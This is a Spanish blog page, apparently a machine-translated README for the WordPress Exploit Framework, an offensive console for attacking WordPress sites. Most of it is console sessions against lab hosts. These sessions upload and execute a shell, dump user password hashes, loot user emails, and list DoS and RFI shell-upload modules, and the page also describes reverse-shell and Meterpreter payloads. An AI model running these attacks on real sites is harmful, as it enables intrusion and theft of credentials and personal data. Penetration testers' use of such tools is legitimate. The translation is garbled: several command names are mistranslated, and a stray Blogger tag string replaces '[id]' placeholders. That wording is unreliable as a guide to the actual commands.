WordPress Exploit Framework: una herramienta Ruby para la prueba de penetración de WordPress

WordPress Exploit Framework es un marco de código abierto diseñado para ayudar en las pruebas de penetración de los sistemas WordPress.

Índice de contenidos

    Requerimientos:

    • Rubí> = 2.4.4

    Cómo instalar WordPress Exploit Framework

    Para instalar la última compilación estable, ejecute gema instalar wpxf .

    Después de la instalación, puede iniciar la consola de WordPress Exploit Framework ejecutando wpxf .

    Sistemas Debian:

    Si tiene problemas para instalar las dependencias de WPXF (específicamente, Nokogiri), primero asegúrese de tener todas las herramientas que necesita para compilar extensiones C:

    sudo apt-get install build-essential patch

    Es posible que no tenga instalados en su sistema archivos de encabezado de desarrollo importantes. Esto es lo que debe hacer si se encuentra en esta situación:

    sudo apt-get install ruby-dev zlib1g-dev liblzma-dev
    

    Si ocurren errores que indiquen que libcurl.dll no se puede cargar, deberá asegurarse de que el binario libcurl más reciente esté incluido en su carpeta bin de Ruby o en cualquier otra carpeta que esté en la variable PATH de su entorno.

    La última versión se puede descargar desde curl.haxx.se/download.html. A partir del 16/05/2016, la última versión está marcada como Win32 2000 / XP zip 7.40.0 libcurl SSL . Después de descargar el archivo, extraiga el contenido del directorio bin en el directorio bin de Ruby (si se le solicita, no sobrescriba las DLL existentes).

    Cómo utilizar WordPress Exploit Framework

    Inicie la consola de WordPress Exploit Framework ejecutando wpxf .

    Una vez cargado, se le presentará el indicador wpxf, desde aquí puede buscar módulos usando el Investigar comando o cargar un módulo usando el usar mando.

    Cargar un formulario en su entorno le permitirá establecer opciones con el comando set y ver información sobre el formulario usando Información .

    A continuación se muestra un ejemplo de cómo se puede cargar el módulo de explotación symposium_shell_upload, configurar el módulo y las opciones de carga útil, y ejecutar la explotación contra el objetivo.

    wpxf > use exploit/shell/symposium_shell_upload
    
    [+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>
    
    wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox
    
    [+] Set host => wp-sandbox
    
    wpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/
    
    [+] Set target_uri => /wordpress/
    
    wpxf [exploit/shell/symposium_shell_upload] > set payload exec
    
    [+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>
    
    wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"
    
    [+] Set cmd => echo "Hello, world!"
    
    wpxf [exploit/shell/symposium_shell_upload] > run
    
    [-] Preparing payload...
    [-] Uploading the payload...
    [-] Executing the payload...
    [+] Result: Hello, world!
    [+] Execution finished successfully
    

    Comandos admitidos:

    • atrás

    Devuelve el contexto de la sesión antes de que se cargara el módulo actual.

    wpxf [exploit/shell/admin_shell_upload] > back
    wpxf >
    

    • cheque

    Compruebe si el módulo cargado actualmente se puede utilizar contra el objetivo especificado.

    wpxf [exploit/shell/admin_shell_upload] > check
    
      [!] Target appears to be vulnerable
    
    wpxf [exploit/shell/admin_shell_upload] >
    

    • claro

    Limpia la pantalla.

    • creditos

    Enumera las credenciales almacenadas en el espacio de trabajo actual.

    wpxf > creds
    
      ID   Host              Username   Password   Type
      --   ---------------   --------   --------   -----
      13   wordpress.vm:80   root       toor       plain
      14   wordpress.vm:80   test                  plain
    
    wpxf >
    

    • créditos -d tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348

    Eliminar la credencial con la coincidencia tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348 número.

    wpxf > creds -d 8
    
      [+] Deleted credential 8
    
    wpxf >
    
    • gset

    Establece un valor de opción globalmente, de modo que el módulo actual y todos los módulos cargados posteriormente utilicen el valor especificado para la opción especificada.

    wpxf > gset host wordpress.vm
    
      [+] Globally set the value of host to wordpress.vm
    
    wpxf > use exploit/shell/admin_shell_upload
    
      [+] Loaded module: #<Wpxf::Exploit::AdminShellUpload:0x3578af0>
    
    wpxf [exploit/shell/admin_shell_upload] > show options
    
      Module options:
    
        Name                  Current Setting   Required   Description
        -------------------   ---------------   --------   -------------------------------------------
        host                  wordpress.vm      true       Address of the target host.
        http_client_timeout   5                 true       Max wait time in seconds for HTTP responses
        password                                true       The WordPress password to authenticate with
        port                  80                true       Port the remote host is listening on
        proxy                                   false      Proxy address ([protocol://]host:port)
        ssl                   false             true       Use SSL/HTTPS for all requests
        target_uri            /                 true       Base path to the WordPress application
        username                                true       The WordPress username to authenticate with
        verbose               false             true       Enable verbose output
        vhost                                   false      HTTP server virtual host
    
    wpxf [exploit/shell/admin_shell_upload] >
    
    • arma

    Deshaga la configuración de un conjunto de opciones globales con el comando gset.

    wpxf > gunset host
    
      [+] Removed the global setting for host
    
    wpxf >
    
    • Información

    Muestra información sobre el módulo cargado actualmente.

    wpxf [exploit/shell/admin_shell_upload] > info
    
             Name: Admin Shell Upload
           Module: exploit/shell/admin_shell_upload
        Disclosed: 2015-02-21
    
      Provided by:
        rastating
    
      Module options:
    
        Name         Current Setting   Required   Description
        ----------   ---------------   --------   -------------------------------------------
        host         wordpress.vm      true       Address of the target host.
        password     toor              true       The WordPress password to authenticate with
        port         80                true       Port the remote host is listening on
        proxy                          false      Proxy address ([protocol://]host:port)
        ssl          false             true       Use SSL/HTTPS for all requests
        target_uri   /                 true       Base path to the WordPress application
        username     root              true       The WordPress username to authenticate with
        verbose      false             true       Enable verbose output
        vhost                          false      HTTP server virtual host
    
      Description:
        This module will generate a plugin, pack the payload into it and upload it to
        a server running WordPress; providing valid admin credentials are used.
    
    
    wpxf [exploit/shell/admin_shell_upload] >
    
    • botín

    Enumera el botín recolectado por los objetivos en el espacio de trabajo actual.

    wpxf > loot
    
      ID   Host              Filename                  Notes                                   Type        
      --   ---------------   -----------------------   -------------------------------------   ---------   
      1    wordpress.vm:80   2018-07-14_15-00-56.csv   Registered users and e-mail addresses   user list   
    
      All filenames are relative to /home/rastating/.wpxf/loot
    
    wpxf >
    

    • botín -d tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348

    Elimina el objeto de botín con la coincidencia. tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348 número.

    wpxf > loot -d 1
    
      [+] Deleted item 1
    
    wpxf >
    
    • botín -p tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348

    Imprime el contenido del botín con el fósforo. tag:blogger.com,1999:blog-5477678119341908769.post-4328736653530504348 número.

    wpxf > loot -p 2
    
    Email,Name
    "lPBrOHC@mBeTjaAGGh.com","atgvrf"
    "gSLzaYG@uZVUAeSJvj.com","dowzvc"
    "AMfWgAH@uDNuULjBQv.com","efhkjv"
    "halFIgH@CYqrzDzwQU.com","omquqt"
    "root@wordpress.vm","root"
    
    wpxf >
    
    • salir

    Salga del indicador de WordPress Exploit Framework.

    • rebuild_cache

    Reconstruya la caché del módulo.

    wpxf > rebuild_cache
    
      [!] Refreshing the module cache...
    
    wpxf >
    

    • correr

    Ejecute el módulo cargado actualmente.

    wpxf [auxiliary/hash_dump/simple_ads_manager_hash_dump] > run
    
      [-] Determining database prefix...
      [-] Dumping user hashes...
    
          Username   Hash
          --------   -----------------------------------
          root       $P$BqL7kZ/A30CnAbIriSrXRmKvY9ynx80
          ATgVrF     $P$Bc5VwreNVctuXYwqKuN0IOWiDib79g.
          DOWzVC     $P$BwtOdeIGMW.jR7/zfzMp.kc4FJcPwB.
          OmQUqt     $P$BOUcq9FWVxEyyrqyZNApW79kgPm7wq/
          eFhkJv     $P$B1h9aF1cYdIBnAoh9F6NkchHXlTMpe.
    
      [+] Execution finished successfully
    
    wpxf [auxiliary/hash_dump/simple_ads_manager_hash_dump] >
    

    • colocar

    Establezca un valor de opción para el módulo cargado actualmente.

    wpxf [exploit/shell/admin_shell_upload] > set host wordpress.vm
    
      [+] Set host => wordpress.vm
    
    wpxf [exploit/shell/admin_shell_upload] >

    • setg

    Alias ​​de gset.

    • Investigar

    Busque formularios que contengan una o más de las palabras clave que especifique.

    wpxf > search rfi
    
      [+] 3 Results for "rfi"
    
          Module                                               Title
          --------------------------------------------------   ----------------------------------------
          exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload   Fast Image Adder <= 1.1 RFI Shell Upload
          exploit/rfi/flickr_picture_backup_rfi_shell_upload   Flickr Picture Backup RFI Shell Upload
          exploit/rfi/wp_mobile_detector_rfi_shell_upload      WP Mobile Detector RFI Shell Upload
    
    wpxf >
    

    • espectáculo avanzado

    Muestra las opciones avanzadas del módulo cargado actualmente.

    wpxf [exploit/shell/admin_shell_upload] > show advanced
    
      Name: basic_auth_creds
      Current setting:
      Required: false
      Description: HTTP basic auth credentials (username:password)
    
      Name: follow_http_redirection
      Current setting: true
      Required: true
      Description: Automatically follow HTTP redirections
    
      Name: max_http_concurrency
      Current setting: 20
      Required: true
      Description: Max number of HTTP requests that can be made in parallel (Min: 1, Max: 200)
    
      Name: proxy_auth_creds
      Current setting:
      Required: false
      Description: Proxy server credentials (username:password)
    
      Name: user_agent
      Current setting: Mozilla/5.0 (Macintosh; U; U; Intel Mac OS X 10_7_6 rv:6.0; en-US) AppleWebKit/533.49.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.49.6
      Required: false
      Description: The user agent string to send with all requests
    
      Name: verify_host
      Current setting: true
      Required: true
      Description: Enable host verification when using HTTPS
    
      Name: wp_content_dir
      Current setting: wp-content
      Required: true
      Description: The name of the wp-content directory.
    
    
    wpxf [exploit/shell/admin_shell_upload] >
    

    • exposición auxiliar

    Muestra la lista de módulos auxiliares disponibles.

    wpxf > show auxiliary
    
      [+] 58 Auxiliaries
    
          Module                                    Title                                                                              
          --------------------------------------    -----------------------------------------------------------   
          auxiliary/dos/load_scripts_dos            WordPress "load-scripts.php" DoS
          auxiliary/dos/long_password_dos           Long Password DoS
          auxiliary/dos/post_grid_file_deletion     Post Grid <= 2.0.12 Unauthenticated Arbitrary File Deletion
          auxiliary/dos/wp_v4.7.2_csrf_dos          WordPress 4.2-4.7.2 - CSRF DoS
    
      ...
    
      wpxf >
    

    • muestra explotar

    Muestra la lista de exploits disponibles.

    wpxf > show exploits
    
      [+] 289 Exploits
    
          Module                                                    Title
          --------------------------------------------------------  --------------------------------------------
          exploit/rfi/advanced_custom_fields_remote_file_inclusion  Advanced Custom Fields Remote File Inclusion
          exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload        Fast Image Adder <= 1.1 RFI Shell Upload
          exploit/rfi/flickr_picture_backup_rfi_shell_upload        Flickr Picture Backup RFI Shell Upload
          exploit/rfi/gwolle_guestbook_remote_file_inclusion        Gwolle Guestbook Remote File Inclusion
          exploit/rfi/wp_mobile_detector_rfi_shell_upload           WP Mobile Detector RFI Shell Upload
    
    ...
    
    wpxf >
    

    • mostrar opciones

    Muestra las opciones básicas del módulo cargado actualmente.

    wpxf [exploit/shell/admin_shell_upload] > show options
    
      Module options:
    
        Name                  Current Setting   Required   Description
        -------------------   ---------------   --------   -------------------------------------------
        host                  wordpress.vm      true       Address of the target host.
        http_client_timeout   5                 true       Max wait time in seconds for HTTP responses
        password                                true       The WordPress password to authenticate with
        port                  80                true       Port the remote host is listening on
        proxy                                   false      Proxy address ([protocol://]host:port)
        ssl                   false             true       Use SSL/HTTPS for all requests
        target_uri            /                 true       Base path to the WordPress application
        username                                true       The WordPress username to authenticate with
        verbose               false             true       Enable verbose output
        vhost                                   false      HTTP server virtual host
    
    wpxf [exploit/shell/admin_shell_upload] >
    

    • no establecido

    Deshace la configuración de un conjunto de opciones con el comando set.

    wpxf [exploit/shell/admin_shell_upload] > unset host
    
      [+] Unset host
    
    wpxf [exploit/shell/admin_shell_upload] >
    

    • desarmar

    Alias ​​de pistola.

    • usar

    Cargue el módulo especificado en el contexto actual.

    wpxf > use exploit/shell/admin_shell_upload
    
      [+] Loaded module: #<Wpxf::Exploit::AdminShellUpload:0x3af1100>
    
    wpxf [exploit/shell/admin_shell_upload] >
    
    • espacio de trabajo

    Enumere los espacios de trabajo disponibles.

    wpxf > workspace
    
      [-] default (active)
      [-] test
    
    wpxf >
    
    • espacio de trabajo [name]

    Pasar a [name] espacio de trabajo.

    wpxf > workspace test
    
      [+] Switched to workspace: test
    
    wpxf >
    
    • área de trabajo -a [name]

    Agregue un nuevo espacio de trabajo.

    wpxf > workspace -a wiki
    
      [+] Added workspace: wiki
    
    wpxf >
    
    • área de trabajo -d [name]

    Borrar el [name] espacio de trabajo.

    wpxf > workspace -d wiki
    
      [+] Deleted workspace: wiki
    
    wpxf >
    

    Diferencia entre módulos auxiliares y exploits

    Los módulos auxiliares no le permiten ejecutar cargas útiles en la máquina de destino, sino que le permiten extraer información del destino, aumentar los privilegios o proporcionar la funcionalidad de denegación de servicio.

    Los módulos de explotación requieren que especifique una carga útil que posteriormente se ejecuta en la máquina de destino, lo que le permite ejecutar código arbitrario para extraer información de la máquina, establecer un shell remoto o cualquier otra cosa que desee hacer en el contexto del servidor web.

    Cargas útiles disponibles

    • bind_php: Cargue un script que se vinculará a un puerto específico y permitirá que WPXF establezca un shell remoto.
    • disfraz: Carga y ejecuta un script PHP personalizado.
    • download_exec- Descarga y ejecuta un archivo ejecutable remoto.
    • meterpreter_bind_tcp: Una carga útil TCP de Meterpreter de enlace generada mediante msfvenom.
    • meterpreter_reverse_tcp: una carga útil de TCP inverso de Meterpreter generada con msfvenom.
    • directo- Ejecuta un comando de shell en el servidor remoto y devuelve el resultado a la sesión de WPXF.
    • reverse_tcp: Cargue un script que establecerá un shell TCP inverso.

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

    Subir